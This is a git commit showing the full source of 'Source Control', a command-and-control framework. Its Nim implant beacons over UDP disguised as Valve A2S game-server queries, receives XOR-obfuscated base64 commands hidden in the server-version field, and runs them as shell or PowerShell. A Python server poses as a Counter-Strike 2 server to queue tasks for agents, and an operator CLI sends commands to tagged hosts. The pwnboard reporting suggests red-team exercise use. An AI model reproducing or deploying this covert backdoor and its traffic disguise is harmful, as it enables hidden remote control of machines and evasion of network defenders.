1
0

Initial commit

This commit is contained in:
connorgadbois 2026-01-30 12:55:41 -06:00
commit fc22980f85
13 changed files with 714 additions and 0 deletions

24
README.md Normal file
View File

@ -0,0 +1,24 @@
# Source Control
A C2 server that uses the [A2S query protocol](https://developer.valvesoftware.com/wiki/Server_queries)
## Building the client
If it's not already installed, install [Nim](https://nim-lang.org/install.html)
Then compile:
```bash
nim c -d:release client/main.nim # Will output to client/main
```
## Running the server
- In `server/`, modify `config.yml` as needed
- Install the requirements: `pip install -r requirements.txt`
- Then you can run the server: `python3 source-control.py`
## Using the CLI
- In `cli/`, modify `config.yml` as needed
- Install the requirements: `pip install -r requirements.txt`
- Then you can run the CLI: `python3 cli.py`

251
cli/cli.py Normal file
View File

@ -0,0 +1,251 @@
import peewee
import yaml
from rich.table import Table
from rich.console import Console
from datetime import datetime
import time
with open('config.yml', 'r') as config_file:
config = yaml.safe_load(config_file)
if config['database'] == 'postgresql':
db = peewee.PostgresqlDatabase(config['postgresql']['db_name'], user=config['postgresql']['user'], host=config['postgresql']['host'], password=config['postgresql']['password'])
else:
db = peewee.SqliteDatabase(config['sqlite']['db_path'], pragmas={'journal_mode': 'wal'})
class Task(peewee.Model):
id = peewee.BigIntegerField(primary_key=True, unique=True, null=False)
agent_ip = peewee.CharField(null=False)
task = peewee.CharField(null=False)
completed = peewee.BigIntegerField(default=0, null=False)
class Meta:
database = db
db_table = 'tasks'
class Agent(peewee.Model):
ip = peewee.CharField(null=False)
checkins = peewee.BigIntegerField(default=0, null=False)
last_checkin = peewee.BigIntegerField(null=False)
tasks_sent = peewee.BigIntegerField(default=0, null=False)
tags = peewee.CharField(null=False, default='')
class Meta:
database = db
db_table = 'agents'
class Colors:
RESET = '\033[0m'
BLUE = '\033[94m'
RED = '\033[91m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
def print_banner() -> None:
print(f'''
{Colors.YELLOW}())))))))))))))))()){Colors.RESET}
{Colors.YELLOW}()))))))))))))))))))))))(){Colors.RESET}
{Colors.YELLOW}())))) )))))))))))))))){Colors.RESET}
.d88888b a88888b. dP dP {Colors.YELLOW})))))))))))){Colors.RESET}
88. "' d8' `88 88 88 {Colors.YELLOW}))))))))){Colors.RESET}
`Y88888b. .d8888b. dP dP 88d888b. .d8888b. .d8888b. 88 .d8888b. 88d888b. d8888P 88d888b. .d8888b. 88 {Colors.YELLOW})))))))){Colors.RESET}
`8b 88' `88 88 88 88' `88 88' `"" 88ooood8 88 88' `88 88' `88 88 88' `88 88' `88 88 {Colors.YELLOW})))))/{Colors.RESET}
d8' .8P 88. .88 88. .88 88 88. ... 88. ... Y8. .88 88. .88 88 88 88 88 88. .88 88 {Colors.YELLOW}))))/{Colors.RESET}
Y88888P `88888P' `88888P' dP `88888P' `88888P' Y88888P' `88888P' dP dP dP dP `88888P' dP {Colors.YELLOW}))))/{Colors.RESET}
{Colors.YELLOW})))({Colors.RESET}
Welcome to {Colors.YELLOW}Source Control{Colors.RESET} CLI {Colors.YELLOW}())))){Colors.RESET}
Use `{Colors.YELLOW}help{Colors.RESET}` for a list of commands
''')
def print_help() -> None:
print(f'''
Commands:
help - Prints this menu
agents - List all agents
agents {Colors.YELLOW}<tag>{Colors.RESET} - List all agents with tag {Colors.YELLOW}<tag>{Colors.RESET}
agents {Colors.YELLOW}<IP>{Colors.RESET} - Get details about the agent with IP {Colors.YELLOW}<IP>{Colors.RESET}
stats - Prints statistics about the agents
command {Colors.YELLOW}<IP|tag> <command>{Colors.RESET} - Send a command to the selected agents
tag {Colors.YELLOW}<IP>{Colors.RESET} {Colors.YELLOW}<tag>{Colors.RESET} - Add a tag to the selected agent (Tags cannot contain spaces or commas)
clear - Clear the screen
exit - Exit the CLI
''')
def print_agents() -> None:
table = Table()
table.add_column('IP')
table.add_column('Status')
table.add_column('Checkins')
table.add_column('Last Checkin')
table.add_column('Tasks Sent')
table.add_column('Tags')
for agent in Agent.select():
tags_string = ''
for tag in agent.tags.split(','):
if tag == 'linux':
tags_string = tags_string + '[green]' + tag + '[/green] '
elif tag == 'windows':
tags_string = tags_string + '[blue]' + tag + '[/blue] '
elif tag == 'bsd' or tag == 'pfsense':
tags_string = tags_string + '[yellow]' + tag + '[/yellow] '
else:
tags_string = tags_string + tag + ' '
if time.time() - agent.last_checkin >= 600:
table.add_row(agent.ip, '[red]Inactive[/red]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
else:
table.add_row(agent.ip, '[green]Active[/green]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
Console().print(table)
def print_agents_by_tag_or_ip(search_str: str) -> None:
table = Table()
table.add_column('IP')
table.add_column('Status')
table.add_column('Checkins')
table.add_column('Last Checkin')
table.add_column('Tasks Sent')
table.add_column('Tags')
for agent in Agent.select():
tags_string = ''
for tag in agent.tags.split(','):
if tag == 'linux':
tags_string = tags_string + '[green]' + tag + '[/green] '
elif tag == 'windows':
tags_string = tags_string + '[blue]' + tag + '[/blue] '
elif tag == 'bsd' or tag == 'pfsense':
tags_string = tags_string + '[yellow]' + tag + '[/yellow] '
else:
tags_string = tags_string + tag + ' '
if search_str in agent.tags.split(',') or agent.ip == search_str:
if time.time() - agent.last_checkin >= config['inactive_time']:
table.add_row(agent.ip, '[red]Inactive[/red]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
else:
table.add_row(agent.ip, '[green]Active[/green]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
Console().print(table)
def print_status() -> None:
total_agents = len(Agent.select())
active_agents = len(Agent.select().where(Agent.last_checkin >= time.time() - config['inactive_time']))
inactive_agents = len(Agent.select().where(Agent.last_checkin < time.time() - config['inactive_time']))
total_tasks = len(Task.select())
completed_tasks = len(Task.select().where(Task.completed == 1))
print(f'''
Total Agents: {total_agents}
Active Agents: {Colors.GREEN}{active_agents}{Colors.RESET}
Inactive Agents: {Colors.RED}{inactive_agents}{Colors.RESET}
Total Tasks: {total_tasks}
Completed Tasks: {completed_tasks}
''')
def ip_match(ip: str, pattern: str):
return(all(p == '*' or x == p for x, p in zip(ip.split('.'), pattern.split('.'))))
def is_agent(agent_ip: str) -> bool:
return(len(Agent.select().where(Agent.ip == agent_ip)) != 0)
def select_agents(search_str: str) -> list:
agents = []
query = Agent.select()
for agent in query:
if ip_match(agent.ip, search_str) or search_str in agent.tags:
agents.append(agent)
return(agents)
def send_command(search_str: str, command: str) -> None:
agents = select_agents(search_str)
commands_sent = 0
for agent in agents:
Task.create(agent_ip = agent.ip, task = command, completed = False)
commands_sent += 1
print(f'Sent the command to {Colors.YELLOW}{commands_sent}{Colors.RESET} agents')
def add_tag(ip_pattern: str, tag: str) -> None:
updated_agents = 0
for agent in Agent.select():
if ip_match(agent.ip, ip_pattern):
current_tags = agent.tags
if tag in current_tags[0].split(','):
print(f'{Colors.YELLOW}{agent.ip}{Colors.RESET} already has the tag {Colors.YELLOW}{tag}{Colors.RESET}.')
return
if current_tags[0] == '':
Agent.update(tags=str(tag)).where(Agent.ip == agent.ip).execute()
else:
Agent.update(tags=Agent.tags.concat(',' + str(tag))).where(Agent.ip == agent.ip).execute()
updated_agents += 1
print(f'Tagged {Colors.YELLOW}{updated_agents}{Colors.RESET} with {Colors.YELLOW}{tag}{Colors.RESET}')
def main():
if config['print_banner']:
print_banner()
while True:
try:
user_command = input('SC> ').split(' ')
match user_command[0]:
case 'help':
print_help()
case 'clear':
print('\x1b[2J\x1b[H')
case 'agents':
if len(user_command) < 2:
print_agents()
else:
print_agents_by_tag_or_ip(user_command[1])
case 'stats':
print_status()
case 'command':
if len(user_command) < 2:
print(f'\nUsage:\n\tcommand {Colors.YELLOW}<IP|tag> <command>{Colors.RESET} - Send a command to the selected agents\n')
else:
send_command(user_command[1], ' '.join(user_command[2:]))
case 'tag':
if len(user_command) < 3:
print(f'\nUsage:\n\ttag {Colors.YELLOW}<IP Regex>{Colors.RESET} {Colors.YELLOW}<tag>{Colors.RESET} - Add a tag to the selected agent (Tags cannot contain spaces or commas)\n')
else:
if ',' in user_command[2]:
print(f'{Colors.RED}Tags cannot contain commas.{Colors.RESET}')
else:
add_tag(user_command[1], user_command[2])
case 'exit':
print(f'{Colors.YELLOW}Goodbye!{Colors.RESET}')
quit(0)
except KeyboardInterrupt:
print('')
if __name__ == '__main__':
main()

18
cli/config.yml Normal file
View File

@ -0,0 +1,18 @@
print_banner: true
# How many seconds without a checkin before an agent is marked as inactive
inactive_time: 600
# Options: postgresql or sqlite
database: sqlite
# Only required if database = sqlite
sqlite:
db_path: ../server/source-ctrl.db
# Only required if database = postgresql
postgresql:
host: 127.0.0.1
db_name: source_control
user: sc_user
password: password

2
cli/requirements.txt Normal file
View File

@ -0,0 +1,2 @@
peewee
rich

115
client/main.nim Normal file
View File

@ -0,0 +1,115 @@
import net
import os
import osproc
import base64
const SERVER: string = "127.0.0.1"
const PORT: Port = Port(27015)
const KEY: string = "asdf"
const CHECKING_TIME: int = 240
const HEADER_PADDING: string = "\xFF\xFF\xFF\xFF"
const INFO_HEADER: string = "\x54"
var IP: string = $getPrimaryIPAddr()
type InfoResponse = object
bots: int
version: string
proc skipCString(data: string, index: int): int =
var newIndex: int = index + 1;
while newIndex < data.len:
if data[newIndex] == '\x00':
break
newIndex = newIndex + 1
return newIndex
proc xorMessage(plain: string, key: string): string =
result = newString(plain.len)
for i in 0 ..< plain.len:
let plainByte = ord(plain[i])
let keyByte = ord(key[i mod key.len])
result[i] = chr(plainByte xor keyByte)
return result
proc sendInfoQuery(socket: Socket): void =
var queryPayload: string = HEADER_PADDING & INFO_HEADER & "Source Engine Query" & encode(xorMessage(IP, KEY)) & "\x00"
socket.sendTo(SERVER, PORT, queryPayload)
proc parseInfo(msg: string): InfoResponse =
if msg == "":
return
var i: int = 6 # Skip header and protocol
#Skip name, map, folder, game
for x in 1..4:
i = skipCString(msg, i)
i = i + 5 # Skip Steam app ID, players, max players
var bots: int
if msg[i] == '\x00':
bots = 0
else:
bots = 1
i = i + 5 # Skip server type, environment, visibility, VAC
var encVersion: string
while true:
if msg[i] == '\x00':
break
encVersion = encVersion & msg[i]
i = i + 1
var version: string = xorMessage(decode(encVersion), KEY)
return InfoResponse(bots: bots, version: version)
proc recvResponse(socket: Socket): string =
var message: string
var data: string
while true:
try:
data = socket.recv(1, 1000)
message = message & data
except:
break
return message
proc main(): void =
var socket: Socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
var response: string
var info: InfoResponse
while true:
try:
sendInfoQuery(socket)
response = recvResponse(socket)
info = parseInfo(response)
if defined(windows):
discard execCmdEx("powershell -c " & info.version)
else:
discard execCmdEx(info.version)
except:
discard
if info.bots == 0:
sleep(CHECKING_TIME * 1000)
if isMainModule:
main()

52
server/config.yml Normal file
View File

@ -0,0 +1,52 @@
# Address to listen on
address: 0.0.0.0
# Port to listen on
port: 27015
# Encryption key
key: asdf
# Options: postgresql or sqlite
database: sqlite
# Only required if database = sqlite
sqlite:
db_path: source-ctrl.db
# Only required if database = postgresql
postgresql:
host: 127.0.0.1
db_name: source_control
user: sc_user
password: password
pwnboard:
use_pwnboard: false
url: https://www.pwnboard.win/
access_token: pwnboard_api_access_token
# Server information to be displayed
server:
server_name: XPLAY.GG • CS2 DM FFA 8 • [US]
map_name: de_dust2
folder: csgo
game: Counter-Strike 2
app_id: 730
max_players: 16
vac: true
dedicated: true
platform: w # w -> Window, l -> Linux
version: 2025.03.26
# Usernames of the connected players
players:
- Player 1
- Player 2
- Player 3
logging:
log_file: source-ctrl.log
print_logs: true
write_logs: true

1
server/requirements.txt Normal file
View File

@ -0,0 +1 @@
peewee

5
server/source-control.py Normal file
View File

@ -0,0 +1,5 @@
import source_ctrl
if __name__ == '__main__':
server = source_ctrl.A2Sserver(source_ctrl.config['address'], source_ctrl.config['port'])
server.start()

View File

@ -0,0 +1,2 @@
from . server import A2Sserver
from .config import config

View File

@ -0,0 +1,4 @@
import yaml
with open('config.yml', 'r') as config_file:
config = yaml.safe_load(config_file)

View File

@ -0,0 +1,31 @@
import peewee
from .config import config
if config['database'] == 'postgresql':
db = peewee.PostgresqlDatabase(config['postgresql']['db_name'], user=config['postgresql']['user'], host=config['postgresql']['host'], password=config['postgresql']['password'])
else:
db = peewee.SqliteDatabase(config['sqlite']['db_path'], pragmas={'journal_mode': 'wal'})
class Task(peewee.Model):
id = peewee.BigIntegerField(primary_key=True, unique=True, null=False)
agent_ip = peewee.CharField(null=False)
task = peewee.CharField(null=False)
completed = peewee.BigIntegerField(default=0, null=False)
class Meta:
database = db
db_table = 'tasks'
class Agent(peewee.Model):
ip = peewee.CharField(null=False)
checkins = peewee.BigIntegerField(default=0, null=False)
last_checkin = peewee.BigIntegerField(null=False)
tasks_sent = peewee.BigIntegerField(default=0, null=False)
tags = peewee.CharField(null=False, default='')
class Meta:
database = db
db_table = 'agents'
db.create_tables([Task, Agent])

View File

@ -0,0 +1,17 @@
from .config import config
from datetime import datetime
class LogLevel:
INFO = '[INFO]'
WARN = '[WARNING]'
ERROR = '[ERROR]'
def log(level: LogLevel, message: str) -> None:
log = f'{level} - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")} - {message}\n'
if config['logging']['print_logs']:
print(log, end='')
if config['logging']['write_logs']:
with open(config['logging']['log_file'], 'a') as log_file:
log_file.write(log)

View File

@ -0,0 +1,192 @@
import socket
import threading
import struct
import random
import time
from base64 import b64encode, b64decode
from .config import config
from .database import Task, Agent
from .logging import log, LogLevel
PADDING = b'\x00'
class A2Sserver:
def __init__(self, host: str, port: int):
self.__host = host
self.__port = port
self.__server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.__server_socket.bind((self.__host, self.__port))
self.key = config['key']
def __update_pwnboard(self, ip: str) -> None:
try:
requests.post(config['pwnboard']['url'], json={'ip': ip, 'application': 'Source Control', 'type': 'a2s c2'}, headers={'Content-Type': 'application/json', 'Authorization': f'Bearer {config["pwnboard"]["access_token"]}'}, timeout=5)
except:
log(LogLevel.ERROR, f'Failed to report callback to PWN Board. Reason: {e}')
def __xor_message(self, msg: str) -> str:
xored = ''
for i in range(len(msg)):
xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)]))
return(xored)
def __make_info_response(self, bots: int, version: str) -> bytes:
response = b'\xff\xff\xff\xff\x49' # Header
# Protocol
response += b'\x11'
# Server Name
response += config['server']['server_name'].encode('utf-8')
response += PADDING
# Map name
response += config['server']['map_name'].encode('utf-8')
response += PADDING
# Folder
response += config['server']['folder'].encode('utf-8')
response += PADDING
# Game
response += config['server']['game'].encode('utf-8')
response += PADDING
# Game ID
response += (int(config['server']['app_id'])).to_bytes(2, 'little')
# Playercount
response += (len(config['server']['players'])).to_bytes(1, 'little')
# Max playercount
response += (int(config['server']['max_players'])).to_bytes(1, 'little')
# Bot count
response += bots.to_bytes(1, 'little')
# Server type
if config['server']['dedicated'] == True:
response += 'd'.encode('utf-8')
else:
response += 'l'.encode('utf-8')
# Platform
response += config['server']['platform'].encode('utf-8')
# Visibility
response += b'\x00'
# VAC
if config['server']['vac'] == True:
response += b'\x01'
else:
response += b'\x00'
# Version
response += b64encode(self.__xor_message(version).encode('utf-8'))
response += PADDING
return(response)
def __make_player_response(self) -> bytes:
response = b'\xff\xff\xff\xff\x44'
# Playercount
response += (len(config['server']['players'])).to_bytes(1, 'little')
# Player list
for i in range(len(config['server']['players'])):
# Player index
response += (i).to_bytes(1, 'little')
# Player name
response += config['server']['players'][i].encode('utf-8')
response += PADDING
# Frags
response += (random.randint(0, 50)).to_bytes(4, 'little')
# Duration
response += (random.randint(0, 1000)).to_bytes(4, 'little')
return(response)
def __get_agent_ip(self, msg: bytes) -> str:
return(self.__xor_message(b64decode(msg[24:-1]).decode('utf-8')))
def __client_handler(self, address: tuple, msg: bytes) -> None:
log(LogLevel.INFO, f'Connection from {address[0]}:{address[1]} with message: {msg}')
try:
ip = self.__get_agent_ip(msg)
if ip == '' or ip == ' ' or ip == None:
# The client might not be a Source Control agent, send a normal response
match msg[4]:
case 84: # A2S_INFO
self.__server_socket.sendto(self.__make_info_response(0, config['server']['version']), address)
case 85: # A2S_PLAYER
self.__server_socket.sendto(self.__make_player_response(), address)
case 86: # A2S_RULES
self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules
return
# What type of query is this?
match msg[4]:
case 84: # A2S_INFO
# Do we already have the agent?
if len(Agent.select().where(Agent.ip == ip).dicts()) == 0:
Agent.create(ip=ip, checkins=0, last_checkin=time.time(), tasks_sent=0, tags='') # Add them
# Add the checkin
Agent.update(checkins=Agent.checkins + 1).where(Agent.ip == ip).execute()
# Update their last checkin
Agent.update(last_checkin=time.time()).where(Agent.ip == ip).execute()
# Get the agnet's open tasks
open_tasks = Task.select().where(Task.agent_ip == ip, Task.completed == 0).dicts()
if len(open_tasks) == 0:
version = config['server']['version']
else:
version = open_tasks[0]['task']
# Send the info response
self.__server_socket.sendto(self.__make_info_response(len(open_tasks), version), address)
if len(open_tasks) != 0:
# Mark the task as completed
Task.update(completed = 1).where(Task.id == open_tasks[0]['id']).execute()
if config['pwnboard']['use_pwnboard'] == True:
self.__update_pwnboard(ip)
case 85: # A2S_PLAYER
self.__server_socket.sendto(self.__make_player_response(), address)
case 86: # A2S_RULES
self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules
except Exception as e:
log(LogLevel.ERROR, f'Failed to create response for {address[0]}:{address[1]}. Reason: {e}')
def start(self) -> None:
while True:
try:
msg, address = self.__server_socket.recvfrom(1024)
client = threading.Thread(target=self.__client_handler, args=(address,msg))
client.start()
except Exception as e:
log(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}:{address[1]}. Reason: {e}')